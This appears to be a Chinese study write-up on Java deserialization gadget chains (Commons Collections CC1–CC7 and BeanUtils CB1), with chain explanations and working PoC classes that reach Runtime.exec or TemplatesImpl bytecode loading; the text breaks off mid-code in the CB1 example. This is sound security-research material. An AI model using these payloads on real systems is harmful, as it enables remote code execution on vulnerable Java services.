Java反序列化
Java反序列化
Apache Commons Collections
CC1(Commons-Collections 3.1-3.2.1)
**影响版本:**3.1-3.2.1,jdk <= 8u20
依赖信息:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
关键触发点-1:
InvokerTransformer.transform()ChainedTransformer.transform()TransformedMap.checkSetValue()
关键点讲解:
TransformedMap 类,它是一个装饰器模式的实现,继承自 AbstractInputCheckedMapDecorator,它包装了一个原始的 Map 对象。用于在添加或修改 Map 中的元素时自动对键(key)和值(value)进行转换。类内部维护了两个 Transformer 对象:
keyTransformer:用于转换 Map 的键valueTransformer:用于转换 Map 的值
通过反序列化AnnotactionInvocationHandler对象,在处理时,调用setValue()方法进入链路转换。
transformKey():转换键transformValue():转换值transformMap():转换整个 MapcheckSetValue():在调用setValue()时转换值

ChainedTransformer 类,它是一个实现了 Transformer 接口的类,用于将多个转换器(Transformer)链接在一起,按顺序执行这些转换操作。
transform转换过程:
transform方法是核心实现,它接收一个输入对象,然后按顺序遍历iTransformers数组中的每个转换器。- 每个转换器的输出作为下一个转换器的输入,形成链式调用。

InvokerTransformer 类的实现。这是一个转换器(Transformer),它通过反射机制在输入对象上调用指定方法并返回结果。
主要属性:
iMethodName: 要调用的方法名称iParamTypes: 方法的参数类型数组iArgs: 方法参数值数组
关键方法:
transform(Object input): 核心转换方法,对输入对象执行反射调用
通过ChainedTransformer对多个InvokerTransformer进行链式调用触发命令执行。
Gadget链路:
AnnotationInvocationHandler.readObject()
-> Map.setValue()
->AbstractInputCheckedMapDecorator.MapEntry.setValue()
->TransformedMap.checkSetValue()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Runtime.exec()
PoC代码:
public class CC1Exploit_1 {
public static void main(String[] args) throws Exception {
// 构造恶意Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
HashMap<String, Object> dataMap = new HashMap<>();
Map transformedMap = TransformedMap.decorate(dataMap, null, transformerChain);
dataMap.put("value", "n1es");
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
Object annotationInvocationHandler = declaredConstructor.newInstance(Target.class, transformedMap);
deserialize(serialize(annotationInvocationHandler));
}
}
关键触发点-2:
InvokeTransformer.transform()ChainedTransformer.transform()com.sun.proxy.$Proxy0.entrySet()LazyMap.get()
关键点讲解:
这里利用了动态代理的特性代理了LazyMap,并同时把LazyMap$proxy代理Map传递到了AnnotationInvocationHandler中,通过在反序列化AnnotationInvocationHandler对象时触发其中的代理Map的entrySet()方法调用其代理实例处理程序(生成代理Map时指定的AnnotationInvocationHandler)的invoke方法,真正的LazyMap存在在Proxy中InvocationHandler属性中。(很绕的思路,不好理解,注意:在调试时是存在俩层InvocationHandler,这个概念容易混淆)。
Object var6 = this.memberValues.get(var4)
->
org.apache.commons.collections.map.LazyMap.get() // 进入transform链路

生成的动态代理类:
package com.sun.proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.UndeclaredThrowableException;
import java.util.Collection;
import java.util.Map;
import java.util.Set;
public final class $Proxy0 extends Proxy implements Map {
private static Method m14;
private static Method m13;
private static Method m9;
private static Method m2;
private static Method m1;
private static Method m5;
private static Method m7;
private static Method m3;
private static Method m12;
private static Method m8;
private static Method m0;
private static Method m6;
private static Method m10;
private static Method m11;
private static Method m4;
public $Proxy0(InvocationHandler var1) throws {
super(var1);
}
public final boolean containsKey(Object var1) throws {
try {
return (Boolean)super.h.invoke(this, m14, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final boolean containsValue(Object var1) throws {
try {
return (Boolean)super.h.invoke(this, m13, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final int size() throws {
try {
return (Integer)super.h.invoke(this, m9, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final String toString() throws {
try {
return (String)super.h.invoke(this, m2, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final boolean equals(Object var1) throws {
try {
return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final Object put(Object var1, Object var2) throws {
try {
return (Object)super.h.invoke(this, m5, new Object[]{var1, var2});
} catch (RuntimeException | Error var4) {
throw var4;
} catch (Throwable var5) {
throw new UndeclaredThrowableException(var5);
}
}
public final void clear() throws {
try {
super.h.invoke(this, m7, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final Object remove(Object var1) throws {
try {
return (Object)super.h.invoke(this, m3, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final Set keySet() throws {
try {
return (Set)super.h.invoke(this, m12, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final boolean isEmpty() throws {
try {
return (Boolean)super.h.invoke(this, m8, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final int hashCode() throws {
try {
return (Integer)super.h.invoke(this, m0, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final Collection values() throws {
try {
return (Collection)super.h.invoke(this, m6, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final Set entrySet() throws {
try {
return (Set)super.h.invoke(this, m10, (Object[])null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final void putAll(Map var1) throws {
try {
super.h.invoke(this, m11, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final Object get(Object var1) throws {
try {
return (Object)super.h.invoke(this, m4, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
static {
try {
m14 = Class.forName("java.util.Map").getMethod("containsKey", Class.forName("java.lang.Object"));
m13 = Class.forName("java.util.Map").getMethod("containsValue", Class.forName("java.lang.Object"));
m9 = Class.forName("java.util.Map").getMethod("size");
m2 = Class.forName("java.lang.Object").getMethod("toString");
m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
m5 = Class.forName("java.util.Map").getMethod("put", Class.forName("java.lang.Object"), Class.forName("java.lang.Object"));
m7 = Class.forName("java.util.Map").getMethod("clear");
m3 = Class.forName("java.util.Map").getMethod("remove", Class.forName("java.lang.Object"));
m12 = Class.forName("java.util.Map").getMethod("keySet");
m8 = Class.forName("java.util.Map").getMethod("isEmpty");
m0 = Class.forName("java.lang.Object").getMethod("hashCode");
m6 = Class.forName("java.util.Map").getMethod("values");
m10 = Class.forName("java.util.Map").getMethod("entrySet");
m11 = Class.forName("java.util.Map").getMethod("putAll", Class.forName("java.util.Map"));
m4 = Class.forName("java.util.Map").getMethod("get", Class.forName("java.lang.Object"));
} catch (NoSuchMethodException var2) {
throw new NoSuchMethodError(var2.getMessage());
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
}
}
LazyMap是一个装饰器类的实现,用于创建一个惰性初始化的映射,这意味着当访问一个不存在的键时,它会使用工厂(Factory)自动创建对应的值并将其存储在映射中。这里的Factory就是我们之前构造的ChainedTransformer,根据上述所说的特性,在触发惰加载时,就会使用transform创建对应值,也就触发了chain链路的恶意代码。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
Gadget链路:
AnnotationInvocationHandler.readObject()
-> Map.entrySet()
-> AnnotationInvocationHandler.invoke()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
-> Runtime.exec()
PoC代码:
public class CC1Exploit_2 {
public static void main(String[] args) throws Exception {
// 构造恶意Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建LazyMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 创建AnnotationInvocationHandler代理
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
new Class[]{Map.class}, handler);
// 创建最终的AnnotationInvocationHandler
InvocationHandler finalHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);
// 序列化和反序列化
Path serializePath = serialize(finalHandler);
deserialize(serializePath);
}
}
CC2(Commons-Collection 4.0)
**影响版本:**4.0
关键触发点:
PriorityQueue.readObject()TransformingComparator.compare()InvokerTransformer.transform()
关键点讲解:
PriorityQueue 是 Java 集合框架中的一个基于优先堆的优先队列实现。它是一个无界的优先级队列,根据元素的自然排序或通过构造时提供的 Comparator 进行排序。
- 不能插入 null 元素
- 使用自然排序时,元素必须实现 Comparable 接口
- 使用自定义 Comparator 时,元素必须可被 Comparator 比较
PriorityQueue支持序列化,在ReadObject()的时候会反序列化复制到queue元素queue[i] = s.readObject();,并调用heapify();方法
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
在自定义Comparator时会触发到Comparator对象的compare操作,开始进入Chains。
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
TransformingComparator是一个装饰器模式的实现,用于在比较操作之前对对象进行转换。TransformingComparator 包装了一个 Comparator 和一个 Transformer,在比较两个对象之前,会先使用 Transformer 对这两个对象进行转换,然后将转换后的结果传递给被装饰的 Comparator 进行实际比较。
默认不指定Comparator的情况下,会使用预定义的自然排序顺序的比较器。
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
TransformingComparator在比较俩个对象之前,会优先使用Transform对这俩个对象进行转换,然后将转换后的结果传递给自然排序顺序的比较器进行实际比较。
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
TemplatesImpl 的属性 _bytecodes 存储了类字节码,newTransformer方法会通过TransletClassLoader在类加载器中定义_bytecodes指定的translet类和辅助类,需继承AbstractTranslet父类。把恶意代码写到static块中或无参构造中,通过getTransletInstance方法获取实例时,执行写入的代码。
Gadget链:
PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
PoC代码:
public class CC2Exploit {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
setFieldValue(templates, "_name", "");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_outputProperties", new Properties());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
PriorityQueue priorityQueue = new PriorityQueue(2, new TransformingComparator(transformer));
setFieldValue(transformer, "iMethodName", "newTransformer");
priorityQueue.add(templates);
priorityQueue.add(templates);
Path serializePath = serialize(priorityQueue);
deserialize(serializePath);
}
}
CC3 (Commons Collections 3.1-3.2.1)
影响版本: 3.1 - 3.2.1,jdk<=8u20
关键触发点:
InstantiateTransformer.transform()TrAXFilter构造函数
关键点讲解:
InstantiateTransformer是一个通过Java反射机制来实例化对象的转换器(Transformer)。它的核心功能是将输入的Class对象转换为其对应类的一个新实例。通过transform方法接收一个输入对象,验证输入对象是否为Class类型,使用反射获取指定参数类型的构造函数,使用传入的参数实例化对象并返回新创建的实例。其它步骤同CC1的动态代理方式是一样的,关键在这里使用了InstantiateTransformer去实例化TrAXFilter对象,TrAXFilter接收了一个Templates的对象,并在构造方法中触发了newTransformer()方法,就能通过TemplatesImpl写入任意类。CC3其实就是CC1的动态代理Payload的变种,最终的sink点产生了变化,其余步骤没变。

Gadget链:
AnnotationInvocationHandler.readObject()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> InstantiateTransformer.transform()
-> TrAXFilter.<init>()
-> TemplatesImpl.newTransformer()
-> 恶意字节码执行
PoC代码:
public class CC3Exploit {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Reflections.setFieldValue(templates, "_name", "HelloTemplatesImpl");
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Reflections.setFieldValue(templates, "_outputProperties", new Properties());
ChainedTransformer chainedTransformer = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
InstantiateTransformer.getInstance(new Class[]{Templates.class},
new Object[]{templates})}
);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> annotationClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationClazzConstructor = annotationClazz.getDeclaredConstructors()[0];
annotationClazzConstructor.setAccessible(true);
Object annotationInstance = annotationClazzConstructor.newInstance(Target.class, lazyMap);
// 创建LazyMapProxy代理Handler
Object lazyMapProxyHandler = Proxy.newProxyInstance(
lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),
(InvocationHandler) annotationInstance);
// 创建带有LazyMapProxy代理Handler的annotationInvocationHandler
Object annotationInvocationHandler = annotationClazzConstructor.newInstance(Target.class, lazyMapProxyHandler);
// 反序列化
deserialize(serialize(annotationInvocationHandler));
}
}
CC4 (Commons Collections 4.0)
影响版本: 4.0
关键触发点-1:
PriorityQueue.readObject()InstantiateTransformer.transform()
关键点讲解:
CC4是CC2的变种,都是通过PriorityQueue优先队列触发内部自定义Comparator比较,TransformingComparator在比较之前又会触发transform()转换,构成了CC2、4的链路,CC2和CC4的区别就是Transformer接口产生了变化。
Gadget链:
PriorityQueue.readObject()
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InstantiateTransformer.transform()
->TrAXFilter.init()
-> TemplatesImpl.newTransformer()
PoC代码:
package org.n1es.deserialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
import java.util.Properties;
import static org.n1es.deserialize.utils.DeserializeUtils.deserialize;
import static org.n1es.deserialize.utils.DeserializeUtils.serialize;
import static org.n1es.deserialize.utils.Reflections.setFieldValue;
import static org.n1es.deserialize.utils.xalan.AbstactTransletGenerate.generateClass;
public class CC4Exploit_1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_outputProperties", new Properties());
ChainedTransformer chainedTransformer = new ChainedTransformer<>(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
InstantiateTransformer.instantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);
// 反射添加queue值,防止在add(queue)时触发Transform()操作
setFieldValue(priorityQueue, "size", 2);
setFieldValue(priorityQueue, "queue", new Object[]{1, 1});
// 反序列化
deserialize(serialize(priorityQueue));
}
}
关键触发点-2:
TreeBag.readObject()TreeMap.compare()
关键点讲解:
根据su18的CC4新链路的分析指明TreeBag存在类似的利用条件。TreeBag是一个基于TreeMap的SortedBag(排序袋)实现。它使用TreeMap来存储数据。SortedBag是Bag(袋)的扩展,Bag是一种特殊的集合,它允许存储重复的元素,并跟踪每个元素的出现次数。TreeBag内部使用TreeMap来存储元素及其计数。TreeMap是一个基于红黑树的实现,可以保证元素的有序性。每个元素在TreeMap中对应一个MutableInteger对象,用于记录该元素的出现次数。TreeBag通过TreeMap的自然排序或提供的Comparator来维护元素的顺序。通过了解我们知道TreeBag是基于TreeMap实现的,treeBag添加一个元素时,其实就是在TreeMap中增加一条映射值,且在put操作时,存在compare比较操作。

TreeBag也允许我们添加自定义的Comparator,在compare比较时,通过自定义的Comparator进行比较操作,构成了触发条件。

在反序列化时TreeBag会触发put操作进行还原值,就会触发这条链路。

Gadget链:
TreeBag.readObject()
-> AbstractMapBag.doReadObject()
-> TreeMap.put()
-> TreeMap.compare()
-> TransformingComparator.compare()
-> InstantiateTransformer.transform()
->TrAXFilter.init()
-> TemplatesImpl.newTransformer()
PoC代码:
public class CC4Exploit_2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_outputProperties", new Properties());
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
Transformer<Class<?>, Object> instantiateTransformer = InstantiateTransformer.instantiateTransformer(
new Class[]{String.class}, new Object[]{""}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(constantTransformer, instantiateTransformer);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
TreeBag treeBag = new TreeBag<>(transformingComparator);
treeBag.add(templates);
setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});
deserialize(serialize(treeBag));
}
}
关键触发点-3:
DualTreeBidiMap.readObject()java.util.TreeMap.put()TransformingComparator.compare()
关键点讲解:
通过学习su18的CC4.TreeMap链路的分析,发现了DualTreeBidiMap可以作为TreeBag的替代链。DualTreeBidiMap 是 Apache Commons Collections 库中的一个双向映射(BidiMap)实现,它使用两个 TreeMap 来存储键值对,分别用于正向和反向映射。这个类实现了 SortedBidiMap 接口,意味着它维护了键和值的排序顺序,键和值都按照各自的 Comparator 排序,可以通过键查找值,也可以通过值查找键。DualTreeBidiMap使用TreeMap存储键值对就意味着在readObject()中只要对treeMap进行put操作就有机会构造链路。

我们创建DualTreeBidMap实例时,传入一个带值的Map,这决定了能否在反序列化时触发treeMap的put操作,DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(new HashMap() {{ put("key", "n1es");}});。之后进入treeMap对准备添加到映射中的值进行Compare比较。
Gadget链:
DualTreeBidiMap.readObject()
-> AbstractDualBidiMap.put()
-> TreeMap.put()
-> TreeMap.compare()
-> TransformingComparator.compare()
-> InstantiateTransformer.transform()
->TrAXFilter.init()
-> TemplatesImpl.newTransformer()
PoC代码:
public class CC4Exploit_3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_outputProperties", new Properties());
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
Transformer<Class<?>, Object> instantiateTransformer = InstantiateTransformer.instantiateTransformer(
new Class[]{String.class}, new Object[]{""}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(constantTransformer, instantiateTransformer);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(new HashMap() {{
put("key", "n1es");
}});
setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});
Reflections.setFieldValue(dualTreeBidiMap, "comparator", transformingComparator);
// 反序列化
deserialize(serialize(dualTreeBidiMap));
}
}
CC5 (Commons Collections 3.1-3.2.1)
影响版本: 3.1 - 3.2.1
关键触发点:
BadAttributeValueExpException.readObject()TiedMapEntry.toString()
关键点讲解:
CC1中使用的AnnotationInvocationHandler类在jdk1.8之后进行了修复,CC5的BadAttributeValueExpException是替代AnnotationInvocationHandler的新的利用类。
BadAttributeValueExpException允许反序列并接受一个对象值,在反序列化时可以触发这个对象的toString()方法,完美契合了TideMapEntry的触发流程。

TiedMapEntry 是一个"绑定"到SingletonMap上的 Map.Entry 实现。它代表了一个特定的键值对,但这个键值对是存储在底层 Map 中的。通过 TiedMapEntry 实例,可以直接操作底层 Map 中的条目。在CC1中知道lazyMap的触发为通过get()进入链路,这里赋值一个LazyMap来构造链路。


Gadget链:
BadAttributeValueExpException.readObject()
-> tiedMapEntry.toString()
-> lazyMap.get()
-> InstantiateTransformer.transform()
->TrAXFilter.init()
-> TemplatesImpl.newTransformer()
PoC代码:
public class CC5Exploit {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_outputProperties", new Properties());
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
Transformer instantiateTransformer = InstantiateTransformer.getInstance(
new Class[]{String.class}, new Object[]{""}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constantTransformer, instantiateTransformer
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "n1es");
BadAttributeValueExpException expException = new BadAttributeValueExpException("n1es");
Reflections.setFieldValue(expException, "val", tiedMapEntry);
setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});
deserialize(serialize(expException));
}
}
CC6 (Commons Collections 3.1-3.2.1)
影响版本: 3.1 - 3.2.1
关键触发点:
HashMap.readObject()TiedMapEntry.hashCode()
关键点讲解:
在CC5中通过触发TiedMapEntry.toString()进入链路,发现TideMapEntry的equals、hashCode这些方法都可以触发lazyMap链路,进而有了CC6通过HashMap.hashcode()的触发方式。hashMap在反序列化时还原条目时,会触发键值对的hashcode,从而触发执行。我们的PoC代码中依然通过HashMap.hashcode\TrAXFilter\TemplatesImpl执行代码,这里注意的是:在构造链时会触发transform的转换,这时会在lazyMap中put一个键值对,我在反序列化之前通过反射重新修改了TiedMapEntry的key属性值,方便在反序列化时触发transform机制。

Gadget链:
HashMap.readObject()
-> tiedMapEntry.hashcode()
-> tiedMapEntry.getValue()
->LazyMap.get()
-> InstantiateTransformer.transform()
->TrAXFilter.init()
-> TemplatesImpl.newTransformer()
PoC代码:
public class CC6Exploit {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_outputProperties", new Properties());
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
Transformer instantiateTransformer = InstantiateTransformer.getInstance(
new Class[]{String.class}, new Object[]{""}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constantTransformer, instantiateTransformer
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "toString");
HashMap<Object, Object> dataMap = new HashMap<>();
dataMap.put(tiedMapEntry, "n1es");
Reflections.setFieldValue(tiedMapEntry, "key", "n1es");
setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});
deserialize(serialize(dataMap));
}
}
CC7 (Commons Collections 3.1-3.2.1)
影响版本: 3.1 - 3.2.1
关键触发点:
Hashtable.readObject()TiedMapEntry.hashCode()
关键点分析:
Hashtable是一个基于哈希表的Map实现,它存储键值对(key-value pairs)。Hashtable中的键和值都不能为null。它是Java Collections Framework的一部分,并且是线程安全的(synchronized)。与HashMap的区别:Hashtable是同步的,HashMap不是。HashMap允许一个null键和多个null值,Hashtable不允许。HashMap通常比Hashtable快,因为不需要同步开销。Hashtable继承自Dictionary,而HashMap继承自AbstractMap。在CC7中用HashTable替代了CC6中HashMap的触发方法,其它一致。

Gadget链:
HashTable.readObject()
-> tiedMapEntry.hashcode()
-> tiedMapEntry.getValue()
->LazyMap.get()
-> InstantiateTransformer.transform()
->TrAXFilter.init()
-> TemplatesImpl.newTransformer()
PoC代码:
public class CC7Exploit {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_outputProperties", new Properties());
ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
Transformer instantiateTransformer = InstantiateTransformer.getInstance(
new Class[]{String.class}, new Object[]{""}
);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constantTransformer, instantiateTransformer
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "toString");
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(tiedMapEntry, "n1es");
Reflections.setFieldValue(tiedMapEntry, "key", "n1es");
setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});
deserialize(serialize(hashtable));
}
}
Apache Commons BeanUtils
CB1 (Commons BeanUtils 1.9.2及以下)
影响版本: <= 1.9.2
依赖信息:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
关键触发点:
BeanComparator.compare()PropertyUtils.getProperty()
关键点分析:
依旧CC2切入点PriorityQueue优先队列,通过自定义Comparator进行比较时,反射获取Templates的getter\setter方法来触发newTransformer进行代码执行。Apache Commons BeanUtils库中的BeanComparator类的实现,它是一个用于比较JavaBean对象的比较器。BeanComparator实现了Comparator<T>和Serializable接口,使其可以用于对象排序和序列化。类有两个主要字段:property(要比较的属性名)和comparator(用于比较属性值的比较器)。
在compare方法中,首先检查是否设置了属性名:如果没有设置属性名(property为null),则直接比较两个对象本身。如果设置了属性名,则使用PropertyUtils.getProperty获取两个对象的属性值,然后比较这些值。getProperty中的逻辑大致为先获取对象的属性获取器方法名,然后通过getMethod获取阅读方法再反射执行该方法,完成整个链的调用。

Gadget链:
PriorityQueue.readObject()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl.newTransformer()
-> 恶意字节码执行
PoC代码:
public class CB1Exploit {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplatesImpl();
// 创建BeanComparator
BeanComparator comparator = new BeanComparator("outputProperties");
// 创建PriorityQueue
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
// 通过反射修改queue中的元素
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(queue);
